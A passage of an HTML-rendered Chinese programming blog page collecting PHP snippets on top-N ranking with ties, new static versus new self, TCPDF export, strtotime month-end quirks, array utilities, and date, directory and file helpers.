class="string">'id'</span>=&gt;<span class="number">1</span>,</span><br><span class="line">        <span class="string">'score'</span>=&gt;<span class="number">10</span>,</span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="string">'id'</span>=&gt;<span class="number">2</span>,</span><br><span class="line">        <span class="string">'score'</span>=&gt;<span class="number">30</span>,</span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="string">'id'</span>=&gt;<span class="number">3</span>,</span><br><span class="line">        <span class="string">'score'</span>=&gt;<span class="number">50</span>,</span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="string">'id'</span>=&gt;<span class="number">4</span>,</span><br><span class="line">        <span class="string">'score'</span>=&gt;<span class="number">50</span>,</span><br><span class="line">    ]</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line">array_multisort(array_column($arr,<span class="string">'score'</span>),SORT_ASC,$arr);</span><br><span class="line"></span><br><span class="line">$results = array_slice($arr, <span class="number">0</span>, <span class="number">3</span>, <span class="literal">true</span>);</span><br><span class="line">$length = count($arr);</span><br><span class="line">$resultLength = count($results);</span><br><span class="line"></span><br><span class="line"><span class="comment">//$resultLength 比 $length小说明$arr 的还有元素，否则它们俩就相等了。然后比较key和key+1的值。极限是所有的人都和第三名相同，自行判断是否需要所有人都胜出，来限制 $resultLength 的长度https://jc91715.top/code-script/13</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span>($resultLength&lt;$length &amp;&amp;$results[$resultLength<span class="number">-1</span>][<span class="string">'score'</span>]==$arr[$resultLength][<span class="string">'score'</span>])&#123;</span><br><span class="line">    array_push($results,$arr[$resultLength]);</span><br><span class="line">    $resultLength = count($results);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$ifWinner = <span class="literal">false</span>;</span><br><span class="line">$id=<span class="number">1</span>;</span><br><span class="line"><span class="keyword">if</span>(in_array($id,array_column($results,<span class="string">'id'</span>)))&#123;</span><br><span class="line">   $ifWinner = <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">var_export($results);</span><br><span class="line">echo <span class="string">'&lt;br&gt;'</span>;</span><br><span class="line">var_export($ifWinner);</span><br></pre></td></tr></table></figure>
<h3 id="new-static-和-new-self"><a href="#new-static-和-new-self" class="headerlink" title="new static 和 new self"></a>new static 和 new self</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Father</span> </span>&#123;</span><br><span class="line">    public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">getSelf</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> self();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">getStatic</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="keyword">static</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Son</span> <span class="keyword">extends</span> <span class="title">Father</span> </span>&#123;&#125;</span><br><span class="line"></span><br><span class="line">echo get_class(Son::getSelf()); <span class="comment">// Father</span></span><br><span class="line">echo get_class(Son::getStatic()); <span class="comment">// Son</span></span><br><span class="line">echo get_class(Father::getSelf()); <span class="comment">// Father</span></span><br><span class="line">echo get_class(Father::getStatic()); <span class="comment">// Father</span></span><br><span class="line">self 返回的是 <span class="keyword">new</span> self 中关键字 <span class="keyword">new</span> 所在的类中</span><br><span class="line"></span><br><span class="line"><span class="keyword">static</span> 会返回执行 <span class="keyword">new</span> <span class="keyword">static</span>() 的类，比如 Son 执行 get_class(Son::getStatic()) 返回的是 Son, Father 执行 get_class(Father::getStatic()) 返回的是 Father</span><br><span class="line"></span><br><span class="line">而在没有继承的情况下，可以认为 <span class="keyword">new</span> self 和 <span class="keyword">new</span> <span class="keyword">static</span> 是返回相同的结果。https:<span class="comment">//learnku.com/articles/31929</span></span><br></pre></td></tr></table></figure>
<h3 id="PHP-导出-PDF"><a href="#PHP-导出-PDF" class="headerlink" title="PHP 导出 PDF"></a>PHP 导出 PDF</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">require_once(<span class="string">'TCPDF/tcpdf.php'</span>); </span><br><span class="line"><span class="comment">//实例化 https://github.com/tecnickcom/tcpdf</span></span><br><span class="line">$pdf = <span class="keyword">new</span> TCPDF(<span class="string">'P'</span>, <span class="string">'mm'</span>, <span class="string">'A4'</span>, <span class="literal">true</span>, <span class="string">'UTF-8'</span>, <span class="literal">false</span>); </span><br><span class="line"><span class="comment">// 设置文档信息 </span></span><br><span class="line">$pdf-&gt;SetCreator(<span class="string">'Helloweba'</span>); </span><br><span class="line">$pdf-&gt;SetAuthor(<span class="string">'zzy'</span>); </span><br><span class="line">$pdf-&gt;SetTitle(<span class="string">'测试!'</span>); </span><br><span class="line">$pdf-&gt;SetSubject(<span class="string">'TCPDF Tutorial'</span>); </span><br><span class="line">$pdf-&gt;SetKeywords(<span class="string">'TCPDF, PDF, PHP'</span>); </span><br><span class="line"><span class="comment">// 设置页眉和页脚信息 </span></span><br><span class="line">#$pdf-&gt;SetHeaderData('logo.png', 30, '', '',array(0,64,255), array(0,64,128)); </span><br><span class="line">$pdf-&gt;setFooterData(array(<span class="number">0</span>,<span class="number">64</span>,<span class="number">0</span>), array(<span class="number">0</span>,<span class="number">64</span>,<span class="number">128</span>)); </span><br><span class="line"><span class="comment">// 设置页眉和页脚字体 </span></span><br><span class="line">$pdf-&gt;setHeaderFont(<span class="built_in">Array</span>(<span class="string">'stsongstdlight'</span>, <span class="string">''</span>, <span class="string">'10'</span>)); </span><br><span class="line">$pdf-&gt;setFooterFont(<span class="built_in">Array</span>(<span class="string">'helvetica'</span>, <span class="string">''</span>, <span class="string">'8'</span>)); </span><br><span class="line"><span class="comment">// 设置默认等宽字体 </span></span><br><span class="line">$pdf-&gt;SetDefaultMonospacedFont(<span class="string">'courier'</span>); </span><br><span class="line"><span class="comment">// 设置间距 </span></span><br><span class="line">$pdf-&gt;SetMargins(<span class="number">15</span>, <span class="number">27</span>, <span class="number">15</span>); </span><br><span class="line">$pdf-&gt;SetHeaderMargin(<span class="number">5</span>); </span><br><span class="line">$pdf-&gt;SetFooterMargin(<span class="number">10</span>); </span><br><span class="line"><span class="comment">// 设置分页 </span></span><br><span class="line">$pdf-&gt;SetAutoPageBreak(TRUE, <span class="number">25</span>); </span><br><span class="line"><span class="comment">// set image scale factor </span></span><br><span class="line">$pdf-&gt;setImageScale(<span class="number">1.25</span>); </span><br><span class="line"><span class="comment">// set default font subsetting mode </span></span><br><span class="line">$pdf-&gt;setFontSubsetting(<span class="literal">true</span>); </span><br><span class="line"><span class="comment">//设置字体 </span></span><br><span class="line">$pdf-&gt;SetFont(<span class="string">'stsongstdlight'</span>, <span class="string">''</span>, <span class="number">14</span>); </span><br><span class="line">$pdf-&gt;AddPage(); </span><br><span class="line"></span><br><span class="line">$pdf-&gt;Write(<span class="number">0</span>,<span class="string">'折线图'</span>,<span class="number">4</span>, <span class="number">0</span>, <span class="string">'L'</span>, <span class="literal">true</span>, <span class="number">0</span>, <span class="literal">false</span>, <span class="literal">false</span>, <span class="number">0</span>); </span><br><span class="line">$pdf-&gt;Image(<span class="string">'example12.png'</span>, <span class="number">10</span>, <span class="number">40</span>, <span class="number">200</span>, <span class="number">80</span>, <span class="string">'PNG'</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="literal">true</span>, <span class="number">150</span>, <span class="string">''</span>, <span class="literal">false</span>, <span class="literal">false</span>, <span class="number">1</span>, <span class="literal">false</span>, <span class="literal">false</span>, <span class="literal">false</span>);</span><br><span class="line"><span class="comment">//输出PDF </span></span><br><span class="line">$pdf-&gt;Output(<span class="string">'t.pdf'</span>, <span class="string">'I'</span>);</span><br><span class="line"></span><br><span class="line">redis 本身是单例队列处理的，再多高并发请求都是排队进行。</span><br><span class="line">除了 blpop，还有像 setnx,incrby,decrby,lpop,rpop 等命令，这些你都可以高并发或分布式场景下使用。</span><br></pre></td></tr></table></figure>
<h3 id="strtotime-的困惑"><a href="#strtotime-的困惑" class="headerlink" title="strtotime 的困惑"></a>strtotime 的困惑</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">var_dump(date(<span class="string">"Y-m-d"</span>, strtotime(<span class="string">"-1 month"</span>, strtotime(<span class="string">"2017-03-31"</span>))));</span><br><span class="line"><span class="comment">//输出2017-03-03</span></span><br><span class="line">var_dump(date(<span class="string">"Y-m-d"</span>, strtotime(<span class="string">"+1 month"</span>, strtotime(<span class="string">"2017-08-31"</span>))));</span><br><span class="line"><span class="comment">//输出2017-10-01</span></span><br><span class="line">var_dump(date(<span class="string">"Y-m-d"</span>, strtotime(<span class="string">"next month"</span>, strtotime(<span class="string">"2017-01-31"</span>))));</span><br><span class="line"><span class="comment">//输出2017-03-03</span></span><br><span class="line">var_dump(date(<span class="string">"Y-m-d"</span>, strtotime(<span class="string">"last month"</span>, strtotime(<span class="string">"2017-03-31"</span>))));</span><br><span class="line"><span class="comment">//输出2017-03-03</span></span><br><span class="line">只要涉及到大小月的最后一天，都可能会有这个迷惑。</span><br><span class="line">var_dump(date(<span class="string">"Y-m-d"</span>, strtotime(<span class="string">"last day of -1 month"</span>, strtotime(<span class="string">"2017-03-31"</span>))));</span><br><span class="line"><span class="comment">//输出2017-02-28</span></span><br><span class="line">var_dump(date(<span class="string">"Y-m-d"</span>, strtotime(<span class="string">"first day of +1 month"</span>, strtotime(<span class="string">"2017-08-31"</span>))));</span><br><span class="line"><span class="comment">//输出2017-09-01</span></span><br><span class="line">var_dump(date(<span class="string">"Y-m-d"</span>, strtotime(<span class="string">"first day of next month"</span>, strtotime(<span class="string">"2017-01-31"</span>))));</span><br><span class="line"><span class="comment">//输出2017-02-01</span></span><br><span class="line">var_dump(date(<span class="string">"Y-m-d"</span>, strtotime(<span class="string">"last day of last month"</span>, strtotime(<span class="string">"2017-03-31"</span>))));</span><br><span class="line"><span class="comment">//输出2017-02-28</span></span><br></pre></td></tr></table></figure>
<h3 id="正则匹配emoji"><a href="#正则匹配emoji" class="headerlink" title="正则匹配emoji"></a>正则匹配emoji</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/[\w\x&#123;<span class="number">4e00</span>&#125;-\x&#123;<span class="number">9</span>fa5&#125;]&#123;<span class="number">2</span>,<span class="number">25</span>&#125;/u</span><br></pre></td></tr></table></figure>
<h3 id="合并一个或多个数组"><a href="#合并一个或多个数组" class="headerlink" title="合并一个或多个数组"></a>合并一个或多个数组</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br></pre></td><td class="code"><pre><span class="line">$ar1 = array(<span class="string">"color"</span> =&gt; array(<span class="string">"favorite"</span> =&gt; <span class="string">"red"</span>), <span class="number">5</span>);\</span><br><span class="line">$ar2 = array(<span class="number">10</span>, <span class="string">"color"</span> =&gt; array(<span class="string">"favorite"</span> =&gt; <span class="string">"green"</span>, <span class="string">"blue"</span>));\</span><br><span class="line">$result = array_merge_recursive($ar1, $ar2);</span><br><span class="line"> [</span><br><span class="line">     <span class="string">"color"</span> =&gt; [</span><br><span class="line">       <span class="string">"favorite"</span> =&gt; [</span><br><span class="line">         <span class="string">"red"</span>,</span><br><span class="line">         <span class="string">"green"</span>,</span><br><span class="line">       ],</span><br><span class="line">       <span class="number">0</span> =&gt; <span class="string">"blue"</span>,</span><br><span class="line">     ],</span><br><span class="line">     <span class="number">0</span> =&gt; <span class="number">5</span>,</span><br><span class="line">     <span class="number">1</span> =&gt; <span class="number">10</span>,</span><br><span class="line">   ]</span><br><span class="line">$array1 = array(<span class="string">"a"</span> =&gt; <span class="string">"green"</span>, <span class="string">"b"</span> =&gt; <span class="string">"brown"</span>, <span class="string">"c"</span> =&gt; <span class="string">"blue"</span>, <span class="string">"red"</span>);</span><br><span class="line">$array2 = array(<span class="string">"a"</span> =&gt; <span class="string">"GREEN"</span>, <span class="string">"B"</span> =&gt; <span class="string">"brown"</span>, <span class="string">"yellow"</span>, <span class="string">"red"</span>);</span><br><span class="line">print_r(array_intersect_uassoc($array1, $array2, <span class="string">"strcasecmp"</span>));</span><br><span class="line">带索引检查计算数组的交集，用回调函数比较索引</span><br><span class="line">将一个线性数组转换为一个树，或者多维数组</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">array_stack</span> (<span class="params">&amp;$a, $p = <span class="string">'@parent'</span>, $c = <span class="string">'@children'</span></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">      $l = $t = array();</span><br><span class="line">      foreach ($a AS $key =&gt; $val):</span><br><span class="line">        <span class="keyword">if</span> (!$val[$p]) $t[$key] =&amp; $l[$key];</span><br><span class="line">        <span class="keyword">else</span> $l[$val[$p]][$c][$key] =&amp; $l[$key];</span><br><span class="line">        $l[$key] = (array)$l[$key] + $val;</span><br><span class="line">      endforeach;</span><br><span class="line">      <span class="keyword">return</span> $a = array(<span class="string">'tree'</span> =&gt; $t, <span class="string">'leaf'</span> =&gt; $l);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    $node = array();</span><br><span class="line">    $node[<span class="number">1</span>] = array(<span class="string">'@parent'</span> =&gt; <span class="number">0</span>, <span class="string">'title'</span> =&gt; <span class="string">'I am node 1.'</span>);</span><br><span class="line">    $node[<span class="number">2</span>] = array(<span class="string">'@parent'</span> =&gt; <span class="number">1</span>, <span class="string">'title'</span> =&gt; <span class="string">'I am node 2.'</span>);</span><br><span class="line">    $node[<span class="number">3</span>] = array(<span class="string">'@parent'</span> =&gt; <span class="number">2</span>, <span class="string">'title'</span> =&gt; <span class="string">'I am node 3.'</span>);</span><br><span class="line">    $node[<span class="number">4</span>] = array(<span class="string">'@parent'</span> =&gt; <span class="number">1</span>, <span class="string">'title'</span> =&gt; <span class="string">'I am node 4.'</span>);</span><br><span class="line">    $node[<span class="number">5</span>] = array(<span class="string">'@parent'</span> =&gt; <span class="number">4</span>, <span class="string">'title'</span> =&gt; <span class="string">'I am node 5.'</span>);</span><br><span class="line">    print_r(array_stack($node));</span><br><span class="line"> [</span><br><span class="line">     <span class="string">"tree"</span> =&gt; [</span><br><span class="line">       <span class="number">1</span> =&gt; &amp;<span class="number">1</span> [</span><br><span class="line">         <span class="string">"@parent"</span> =&gt; <span class="number">0</span>,</span><br><span class="line">         <span class="string">"title"</span> =&gt; <span class="string">"I am node 1."</span>,</span><br><span class="line">         <span class="string">"@children"</span> =&gt; [</span><br><span class="line">           <span class="number">2</span> =&gt; &amp;<span class="number">2</span> [</span><br><span class="line">             <span class="string">"@parent"</span> =&gt; <span class="number">1</span>,</span><br><span class="line">             <span class="string">"title"</span> =&gt; <span class="string">"I am node 2."</span>,</span><br><span class="line">             <span class="string">"@children"</span> =&gt; [</span><br><span class="line">               <span class="number">3</span> =&gt; &amp;<span class="number">3</span> [</span><br><span class="line">                 <span class="string">"@parent"</span> =&gt; <span class="number">2</span>,</span><br><span class="line">                 <span class="string">"title"</span> =&gt; <span class="string">"I am node 3."</span>,</span><br><span class="line">               ],</span><br><span class="line">             ],</span><br><span class="line">           ],</span><br><span class="line">           <span class="number">4</span> =&gt; &amp;<span class="number">4</span> [</span><br><span class="line">             <span class="string">"@parent"</span> =&gt; <span class="number">1</span>,</span><br><span class="line">             <span class="string">"title"</span> =&gt; <span class="string">"I am node 4."</span>,</span><br><span class="line">             <span class="string">"@children"</span> =&gt; [</span><br><span class="line">               <span class="number">5</span> =&gt; &amp;<span class="number">5</span> [</span><br><span class="line">                 <span class="string">"@parent"</span> =&gt; <span class="number">4</span>,</span><br><span class="line">                 <span class="string">"title"</span> =&gt; <span class="string">"I am node 5."</span>,</span><br><span class="line">               ],</span><br><span class="line">             ],</span><br><span class="line">           ],</span><br><span class="line">         ],</span><br><span class="line">       ],</span><br><span class="line">     ],</span><br><span class="line">     <span class="string">"leaf"</span> =&gt; [</span><br><span class="line">       <span class="number">1</span> =&gt; &amp;<span class="number">1</span> [],</span><br><span class="line">       <span class="number">2</span> =&gt; &amp;<span class="number">2</span> [],</span><br><span class="line">       <span class="number">3</span> =&gt; &amp;<span class="number">3</span> [],</span><br><span class="line">       <span class="number">4</span> =&gt; &amp;<span class="number">4</span> [],</span><br><span class="line">       <span class="number">5</span> =&gt; &amp;<span class="number">5</span> [],</span><br><span class="line">     ],</span><br><span class="line">   ]</span><br><span class="line">   二维数组分组</span><br><span class="line">   </span><br><span class="line">   <span class="function"><span class="keyword">function</span> <span class="title">array_group_by</span>(<span class="params">$arr, $key</span>)</span></span><br><span class="line"><span class="function">   </span>&#123;</span><br><span class="line">       $grouped = [];</span><br><span class="line">       foreach ($arr <span class="keyword">as</span> $value) &#123;</span><br><span class="line">           $grouped[$value[$key]][] = $value;</span><br><span class="line">       &#125;</span><br><span class="line">   </span><br><span class="line">       <span class="keyword">if</span> (func_num_args() &gt; <span class="number">2</span>) &#123;</span><br><span class="line">           $args = func_get_args();</span><br><span class="line">           foreach ($grouped <span class="keyword">as</span> $key =&gt; $value) &#123;</span><br><span class="line">               $parms = array_merge([$value], array_slice($args, <span class="number">2</span>, func_num_args()));</span><br><span class="line">               $grouped[$key] = call_user_func_array(<span class="string">'array_group_by'</span>, $parms);</span><br><span class="line">           &#125;</span><br><span class="line">       &#125;</span><br><span class="line">   </span><br><span class="line">       <span class="keyword">return</span> $grouped;</span><br><span class="line">   &#125;</span><br><span class="line">   根据日期获取星期</span><br><span class="line">   </span><br><span class="line">   <span class="function"><span class="keyword">function</span> <span class="title">get_week</span>(<span class="params">$date</span>)</span>&#123;    <span class="comment">//强制转换日期格式</span></span><br><span class="line">       $date_str=date(<span class="string">'Y-m-d'</span>,strtotime($date));    <span class="comment">//封装成数组</span></span><br><span class="line">       $arr=explode(<span class="string">"-"</span>, $date_str);</span><br><span class="line">       $year=$arr[<span class="number">0</span>];    <span class="comment">//月，输出2位整型，不够2位右对齐</span></span><br><span class="line">       $month=sprintf(<span class="string">'%02d'</span>,$arr[<span class="number">1</span>]);</span><br><span class="line">       $day=sprintf(<span class="string">'%02d'</span>,$arr[<span class="number">2</span>]);    <span class="comment">//时分秒默认赋值为0；</span></span><br><span class="line">       $hour = $minute = $second = <span class="number">0</span>;    <span class="comment">//转换成时间戳</span></span><br><span class="line">       $strap = mktime($hour,$minute,$second,$month,$day,$year);    <span class="comment">//获取数字型星期几</span></span><br><span class="line">       $number_wk=date(<span class="string">"w"</span>,$strap);    <span class="comment">//自定义星期数组</span></span><br><span class="line">       $weekArr=array(<span class="string">"星期日"</span>,<span class="string">"星期一"</span>,<span class="string">"星期二"</span>,<span class="string">"星期三"</span>,<span class="string">"星期四"</span>,<span class="string">"星期五"</span>,<span class="string">"星期六"</span>);    <span class="comment">//获取数字对应的星期</span></span><br><span class="line">       <span class="keyword">return</span> $weekArr[$number_wk];</span><br><span class="line">   &#125;</span><br><span class="line">   计算 两个时间差</span><br><span class="line">   </span><br><span class="line">   <span class="function"><span class="keyword">function</span> <span class="title">timediff</span>(<span class="params">$begin_time,$end_time</span>)</span></span><br><span class="line"><span class="function">   </span>&#123;</span><br><span class="line">           <span class="keyword">if</span>($begin_time &lt; $end_time)&#123;</span><br><span class="line">               $starttime = $begin_time;</span><br><span class="line">               $endtime = $end_time;</span><br><span class="line">           &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">               $starttime = $end_time;</span><br><span class="line">               $endtime = $begin_time;</span><br><span class="line">           &#125;</span><br><span class="line">           <span class="comment">//计算天数</span></span><br><span class="line">           $timediff = $endtime-$starttime;</span><br><span class="line">           $days = intval($timediff/<span class="number">86400</span>);</span><br><span class="line">           <span class="comment">//计算小时数</span></span><br><span class="line">           $remain = $timediff%<span class="number">86400</span>;</span><br><span class="line">           $hours = intval($remain/<span class="number">3600</span>);</span><br><span class="line">           <span class="comment">//计算分钟数</span></span><br><span class="line">           $remain = $remain%<span class="number">3600</span>;</span><br><span class="line">           $mins = intval($remain/<span class="number">60</span>);</span><br><span class="line">           <span class="comment">//计算秒数</span></span><br><span class="line">           $secs = $remain%<span class="number">60</span>;</span><br><span class="line">           $res = array(<span class="string">"day"</span> =&gt; $days,<span class="string">"hour"</span> =&gt; $hours,<span class="string">"min"</span> =&gt; $mins,<span class="string">"sec"</span> =&gt; $secs);</span><br><span class="line">           <span class="keyword">return</span> $res;</span><br><span class="line">   &#125;</span><br><span class="line">   递归遍历目录</span><br><span class="line">   </span><br><span class="line">   <span class="function"><span class="keyword">function</span> <span class="title">my_dir</span>(<span class="params">$dir</span>) </span>&#123;</span><br><span class="line">          $files = array();</span><br><span class="line">          $e=mb_detect_encoding($dir,array(<span class="string">'GB2312'</span>,<span class="string">'GBK'</span>,<span class="string">'UTF-8'</span>));</span><br><span class="line">          $dir = mb_convert_encoding($dir,<span class="string">'GBK'</span>, $e);</span><br><span class="line">           <span class="keyword">if</span>(@$handle = opendir($dir)) &#123; <span class="comment">//注意这里要加一个@，不然会有warning错误提示：）</span></span><br><span class="line">               <span class="keyword">while</span>(($file = readdir($handle)) !== <span class="literal">false</span>) &#123;</span><br><span class="line">                   <span class="keyword">if</span>($file != <span class="string">".."</span> &amp;&amp; $file != <span class="string">"."</span>) &#123; <span class="comment">//排除根目录；</span></span><br><span class="line">                       $filename=$dir.<span class="string">"/"</span>.$file;</span><br><span class="line">                       <span class="keyword">if</span>(is_dir($filename)) &#123; <span class="comment">//如果是子文件夹，就进行递归</span></span><br><span class="line">                           $files[$file] =my_dir($filename);</span><br><span class="line">                       &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                           $e=mb_detect_encoding($file,array(<span class="string">'GB2312'</span>,<span class="string">'GBK'</span>,<span class="string">'UTF-8'</span>));</span><br><span class="line">                           $file = mb_convert_encoding($file,<span class="string">'GBK'</span>, $e);</span><br><span class="line">                           $files[] = $file;</span><br><span class="line">                       &#125;</span><br><span class="line">                   &#125;</span><br><span class="line">               &#125;</span><br><span class="line">               closedir($handle);</span><br><span class="line">               <span class="keyword">return</span> $files;</span><br><span class="line">           &#125;</span><br><span class="line">       &#125;</span><br><span class="line">   读取文本内容</span><br><span class="line">   </span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">auto_read</span>(<span class="params">$file, $charset=<span class="string">'UTF-8'</span></span>) </span>&#123;</span><br><span class="line">           <span class="keyword">if</span> (!file_exists($file)) &#123;</span><br><span class="line">               <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">           &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">               <span class="keyword">if</span>(filesize($file) &lt;= <span class="number">0</span>) &#123;</span><br><span class="line">                       <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">           &#125;</span><br><span class="line">           $list = array(<span class="string">'GBK'</span>, <span class="string">'UTF-8'</span>, <span class="string">'UTF-16LE'</span>, <span class="string">'UTF-16BE'</span>, <span class="string">'ISO-8859-1'</span>);</span><br><span class="line">           $handle = fopen($file,<span class="string">"r"</span>);</span><br><span class="line">           $str = fread($handle,filesize($file));</span><br><span class="line">          foreach ($list <span class="keyword">as</span> $item) &#123;</span><br><span class="line">               $tmp = 